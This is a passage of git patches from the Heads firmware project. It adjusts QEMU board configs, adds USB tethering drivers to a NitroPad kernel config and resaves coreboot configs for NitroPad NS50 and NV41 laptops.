a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -26,6 +26,8 @@ export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y #CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y @@ -33,6 +35,7 @@ CONFIG_LINUX_E1000=y ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y CONFIG_FLASHTOOLS=y @@ -59,21 +62,17 @@ CONFIG_TPMTOTP=y #Nitrokey Storage admin tool (deprecated) #CONFIG_NKSTORECLI=n #GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y #FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -#text-based init (generic-init and gui-init) -#CONFIG_NEWT=y -#CONFIG_SLANG=y #Additional tools (tools.cpio): #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y endif -#Runtime on-demand additional hardware support (modules.cpio) -export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y - - #Runtime configuration #Automatically boot if HOTP is valid export CONFIG_AUTO_BOOT_TIMEOUT=5 @@ -92,5 +91,7 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1" +#export CONFIG_FLASHROM_OPTIONS="-p internal" +#export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index 36094e597..0e158c57e 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -27,6 +27,8 @@ export CONFIG_TPM2_CAPTURE_PCAP=y CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y #CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y @@ -34,6 +36,7 @@ CONFIG_LINUX_E1000=y ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y CONFIG_FLASHTOOLS=y @@ -60,21 +63,17 @@ CONFIG_HOTPKEY=y #Nitrokey Storage admin tool (deprecated) #CONFIG_NKSTORECLI=n #GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y #FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -#text-based init (generic-init and gui-init) -#CONFIG_NEWT=y -#CONFIG_SLANG=y #Additional tools (tools.cpio): #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y endif -#Runtime on-demand additional hardware support (modules.cpio) -export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y - - #Runtime configuration #Automatically boot if HOTP is valid export CONFIG_AUTO_BOOT_TIMEOUT=5 @@ -93,5 +92,7 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" +#export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index c382c0d70..cf5b2d01a 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -26,6 +26,8 @@ export CONFIG_TPM2_CAPTURE_PCAP=y CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y #CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y @@ -33,6 +35,7 @@ CONFIG_LINUX_E1000=y ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y CONFIG_FLASHTOOLS=y @@ -59,21 +62,17 @@ CONFIG_TPMTOTP=y #Nitrokey Storage admin tool (deprecated) #CONFIG_NKSTORECLI=n #GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y #FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -#text-based init (generic-init and gui-init) -#CONFIG_NEWT=y -#CONFIG_SLANG=y #Additional tools (tools.cpio): #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y endif -#Runtime on-demand additional hardware support (modules.cpio) -export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y - - #Runtime configuration #Automatically boot if HOTP is valid export CONFIG_AUTO_BOOT_TIMEOUT=5 @@ -92,5 +91,7 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2" +#export CONFIG_FLASHROM_OPTIONS="-p internal" +#export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index 38315372d..443263676 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -28,6 +28,8 @@ export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y #CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y @@ -35,6 +37,7 @@ CONFIG_LINUX_E1000=y ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y CONFIG_FLASHTOOLS=y @@ -61,21 +64,17 @@ CONFIG_HOTPKEY=y #Nitrokey Storage admin tool (deprecated) #CONFIG_NKSTORECLI=n #GUI Support +#Console based Whiptail support(Console based, no FB): +CONFIG_SLANG=y +CONFIG_NEWT=y #FBWhiptail based (Graphical): #CONFIG_CAIRO=y #CONFIG_FBWHIPTAIL=y -#text-based init (generic-init and gui-init) -CONFIG_NEWT=y -CONFIG_SLANG=y #Additional tools (tools.cpio): #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y endif -#Runtime on-demand additional hardware support (modules.cpio) -export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y - - #Runtime configuration #Automatically boot if HOTP is valid export CONFIG_AUTO_BOOT_TIMEOUT=5 @@ -94,5 +93,7 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1-hotp" +#export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index 610667161..3365eea41 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -26,6 +26,8 @@ export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y #CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y @@ -33,6 +35,7 @@ CONFIG_LINUX_E1000=y ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y CONFIG_FLASHTOOLS=y @@ -59,21 +62,17 @@ CONFIG_TPMTOTP=y #Nitrokey Storage admin tool (deprecated) #CONFIG_NKSTORECLI=n #GUI Support +#Console based Whiptail support(Console based, no FB): +CONFIG_SLANG=y +CONFIG_NEWT=y #FBWhiptail based (Graphical): #CONFIG_CAIRO=y #CONFIG_FBWHIPTAIL=y -#text-based init (generic-init and gui-init) -CONFIG_NEWT=y -CONFIG_SLANG=y #Additional tools (tools.cpio): #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y endif -#Runtime on-demand additional hardware support (modules.cpio) -export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y - - #Runtime configuration #Automatically boot if HOTP is valid export CONFIG_AUTO_BOOT_TIMEOUT=5 @@ -92,5 +91,7 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1" +#export CONFIG_FLASHROM_OPTIONS="-p internal" +#export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index e5b2bddfd..a6095caef 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -27,6 +27,8 @@ export CONFIG_TPM2_CAPTURE_PCAP=y CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y #CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y @@ -34,6 +36,7 @@ CONFIG_LINUX_E1000=y ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y CONFIG_FLASHTOOLS=y @@ -44,8 +47,8 @@ CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y #Runtime tools to write to EC/MSR -CONFIG_IOTOOLS=y -CONFIG_MSRTOOLS=y +#CONFIG_IOTOOLS=y +#CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements CONFIG_TPM2_TSS=y @@ -60,21 +63,17 @@ CONFIG_HOTPKEY=y #Nitrokey Storage admin tool (deprecated) #CONFIG_NKSTORECLI=n #GUI Support +#Console based Whiptail support(Console based, no FB): +CONFIG_SLANG=y +CONFIG_NEWT=y #FBWhiptail based (Graphical): #CONFIG_CAIRO=y #CONFIG_FBWHIPTAIL=y -#text-based init (generic-init and gui-init) -CONFIG_NEWT=y -CONFIG_SLANG=y #Additional tools (tools.cpio): #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y endif -#Runtime on-demand additional hardware support (modules.cpio) -export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y - - #Runtime configuration #Automatically boot if HOTP is valid export CONFIG_AUTO_BOOT_TIMEOUT=5 @@ -93,5 +92,7 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2-hotp" +#export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 076f01698..881342ed6 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -26,6 +26,8 @@ export CONFIG_TPM2_CAPTURE_PCAP=y CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y #CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y @@ -33,6 +35,7 @@ CONFIG_LINUX_E1000=y ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y CONFIG_FLASHTOOLS=y @@ -43,8 +46,8 @@ CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y #Runtime tools to write to EC/MSR -CONFIG_IOTOOLS=y -CONFIG_MSRTOOLS=y +#CONFIG_IOTOOLS=y +#CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements CONFIG_TPM2_TSS=y @@ -59,21 +62,17 @@ CONFIG_TPMTOTP=y #Nitrokey Storage admin tool (deprecated) #CONFIG_NKSTORECLI=n #GUI Support +#Console based Whiptail support(Console based, no FB): +CONFIG_SLANG=y +CONFIG_NEWT=y #FBWhiptail based (Graphical): #CONFIG_CAIRO=y #CONFIG_FBWHIPTAIL=y -#text-based init (generic-init and gui-init) -CONFIG_NEWT=y -CONFIG_SLANG=y #Additional tools (tools.cpio): #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y endif -#Runtime on-demand additional hardware support (modules.cpio) -export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y - - #Runtime configuration #Automatically boot if HOTP is valid export CONFIG_AUTO_BOOT_TIMEOUT=5 @@ -92,5 +91,7 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2" +#export CONFIG_FLASHROM_OPTIONS="-p internal" +#export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu From 0f412ed3ce54141d2e963f88c559a88793554ef5 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 16 Apr 2024 13:01:30 -0400 Subject: [PATCH 105/619] config/linux-nitropad-x.config: Add Tethering requirements TODO: fix discrepencies in kernel config to limit technological debt in later commit in this PR Signed-off-by: Thierry Laurion --- config/linux-nitropad-x.config | 45 +++++++++++++++++++++++++++++++++- 1 file changed, 44 insertions(+), 1 deletion(-) diff --git a/config/linux-nitropad-x.config b/config/linux-nitropad-x.config index 40b35f73c..bdcb3e703 100644 --- a/config/linux-nitropad-x.config +++ b/config/linux-nitropad-x.config @@ -1282,6 +1282,7 @@ CONFIG_DM_VERITY_FEC=y # CONFIG_MACINTOSH_DRIVERS is not set CONFIG_NETDEVICES=y +CONFIG_MII=m CONFIG_NET_CORE=y # CONFIG_BONDING is not set # CONFIG_DUMMY is not set @@ -1409,7 +1410,49 @@ CONFIG_NET_VENDOR_VERTEXCOM=y # CONFIG_PPP is not set # CONFIG_SLIP is not set -# CONFIG_USB_NET_DRIVERS is not set +CONFIG_USB_NET_DRIVERS=m +# CONFIG_USB_CATC is not set +# CONFIG_USB_KAWETH is not set +# CONFIG_USB_PEGASUS is not set +# CONFIG_USB_RTL8150 is not set +# CONFIG_USB_RTL8152 is not set +# CONFIG_USB_LAN78XX is not set +CONFIG_USB_USBNET=m +# CONFIG_USB_NET_AX8817X is not set +# CONFIG_USB_NET_AX88179_178A is not set +CONFIG_USB_NET_CDCETHER=m +CONFIG_USB_NET_CDC_EEM=m +CONFIG_USB_NET_CDC_NCM=m +# CONFIG_USB_NET_HUAWEI_CDC_NCM is not set +# CONFIG_USB_NET_CDC_MBIM is not set +# CONFIG_USB_NET_DM9601 is not set +# CONFIG_USB_NET_SR9700 is not set +# CONFIG_USB_NET_SR9800 is not set +# CONFIG_USB_NET_SMSC75XX is not set +# CONFIG_USB_NET_SMSC95XX is not set +# CONFIG_USB_NET_GL620A is not set +# CONFIG_USB_NET_NET1080 is not set +# CONFIG_USB_NET_PLUSB is not set +# CONFIG_USB_NET_MCS7830 is not set +# CONFIG_USB_NET_RNDIS_HOST is not set +CONFIG_USB_NET_CDC_SUBSET=m +# CONFIG_USB_ALI_M5632 is not set +# CONFIG_USB_AN2720 is not set +# CONFIG_USB_BELKIN is not set +# CONFIG_USB_ARMLINUX is not set +# CONFIG_USB_EPSON2888 is not set +# CONFIG_USB_KC2190 is not set +# CONFIG_USB_NET_ZAURUS is not set +# CONFIG_USB_NET_CX82310_ETH is not set +# CONFIG_USB_NET_KALMIA is not set +# CONFIG_USB_NET_QMI_WWAN is not set +# CONFIG_USB_NET_INT51X1 is not set +# CONFIG_USB_IPHETH is not set +# CONFIG_USB_SIERRA_NET is not set +# CONFIG_USB_VL600 is not set +# CONFIG_USB_NET_CH9200 is not set +# CONFIG_USB_NET_AQC111 is not set +CONFIG_USB_RTL8153_ECM=m # CONFIG_WLAN is not set # CONFIG_WAN is not set From 8cace179404ce990008de4119867254fc51767e0 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 3 May 2024 13:35:39 -0400 Subject: [PATCH 106/619] nv41/ns50: coreboot configs saved in oldconfig Result of: make BOARD=nitropad-nv41 coreboot.save_in_oldconfig_format_in_place make BOARD=nitropad-ns50 coreboot.save_in_oldconfig_format_in_place No change, was applied like this anyway at compilation. Signed-off-by: Thierry Laurion --- config/coreboot-nitropad-ns50.config | 143 +++++++++++++++++++-------- config/coreboot-nitropad-nv41.config | 142 ++++++++++++++++++-------- 2 files changed, 200 insertions(+), 85 deletions(-) diff --git a/config/coreboot-nitropad-ns50.config b/config/coreboot-nitropad-ns50.config index 867ee36c6..a6e90d957 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -14,12 +14,14 @@ CONFIG_COMPILER_GCC=y CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set +# CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set # CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y # CONFIG_STATIC_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -41,6 +43,12 @@ CONFIG_BOOTSPLASH_CONVERT_RESIZE=y CONFIG_BOOTSPLASH_CONVERT_RESOLUTION="1920x1080" # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set # CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) # end of General setup # @@ -58,30 +66,28 @@ CONFIG_BOOTSPLASH_CONVERT_RESOLUTION="1920x1080" # CONFIG_VENDOR_APPLE is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BAP is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set # CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_ELMEX is not set # CONFIG_VENDOR_EMULATION is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GIZMOSPHERE is not set # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_JETWAY is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set # CONFIG_VENDOR_LENOVO is not set # CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_LIPPERT is not set # CONFIG_VENDOR_MSI is not set CONFIG_VENDOR_NOVACUSTOM=y # CONFIG_VENDOR_OCP is not set @@ -97,7 +103,6 @@ CONFIG_VENDOR_NOVACUSTOM=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -121,16 +126,16 @@ CONFIG_ONBOARD_VGA_IS_PRIMARY=y # CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set CONFIG_UART_FOR_CONSOLE=0 +CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x56 +CONFIG_VBOOT_VBNV_OFFSET=0x28 CONFIG_VARIANT_DIR="ns50pu" -CONFIG_DEVICETREE="devicetree.cb" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Nitrokey" CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" # CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x2000 -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x4000 CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 @@ -141,14 +146,15 @@ CONFIG_CONSOLE_POST=y # CONFIG_USE_PM_ACPI_TIMER is not set CONFIG_TPM_PIRQ=0x27 # CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfef00000 CONFIG_DCACHE_RAM_SIZE=0xc0000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -156,7 +162,11 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="../nitrokey-blobs/nitropad-ns51/flashdescriptor-HAP.bin" CONFIG_ME_BIN_PATH="../nitrokey-blobs/nitropad-ns51/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_VBT_DATA_SIZE_KB=9 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y # CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=42 CONFIG_PCIEXP_HOTPLUG_MEM=0xc200000 @@ -176,11 +186,15 @@ CONFIG_BOARD_NOVACUSTOM_NS5X_ADLP=y # CONFIG_BOARD_NOVACUSTOM_NV4X_TGLU is not set # CONFIG_BOARD_NOVACUSTOM_NS5X_TGLU is not set CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_L1_SUB_STATE=y CONFIG_PCIEXP_CLK_PM=y # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x10000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set @@ -201,7 +215,7 @@ CONFIG_ROM_SIZE=0x02000000 CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -#CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set # CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 # end of Mainboard @@ -215,8 +229,9 @@ CONFIG_SYSTEM_TYPE_LAPTOP=y # # SoC # -CONFIG_ARCH_ALL_STAGES_X86=y CONFIG_CHIPSET_DEVICETREE="soc/intel/alderlake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_FSP_TEMP_RAM_SIZE=0x20000 @@ -229,10 +244,7 @@ CONFIG_ACPI_BERT=y CONFIG_ACPI_BERT_SIZE=0x10000 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 CONFIG_VBOOT_HASH_BLOCK_SIZE=0x1000 -CONFIG_CPU_SPECIFIC_OPTIONS=y -CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" -CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02d" +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_SOC_INTEL_ALDERLAKE=y CONFIG_SOC_INTEL_ALDERLAKE_PCH_P=y @@ -250,13 +262,15 @@ CONFIG_MAX_PCIE_CLOCK_SRC=10 CONFIG_MAX_PCIE_CLOCK_REQ=10 CONFIG_PCR_BASE_ADDRESS=0xfd000000 CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_PERFORMANCE_CORE_SCALE_FACTOR=127 +CONFIG_SOC_INTEL_EFFICIENT_CORE_SCALE_FACTOR=100 CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 CONFIG_CPU_XTAL_HZ=38400000 CONFIG_SOC_INTEL_UFS_CLK_FREQ_HZ=19200000 CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=7 CONFIG_SOC_INTEL_I2C_DEV_MAX=8 +# CONFIG_ENABLE_SATA_TEST_MODE is not set CONFIG_SOC_INTEL_UART_DEV_MAX=7 -CONFIG_VBT_DATA_SIZE_KB=9 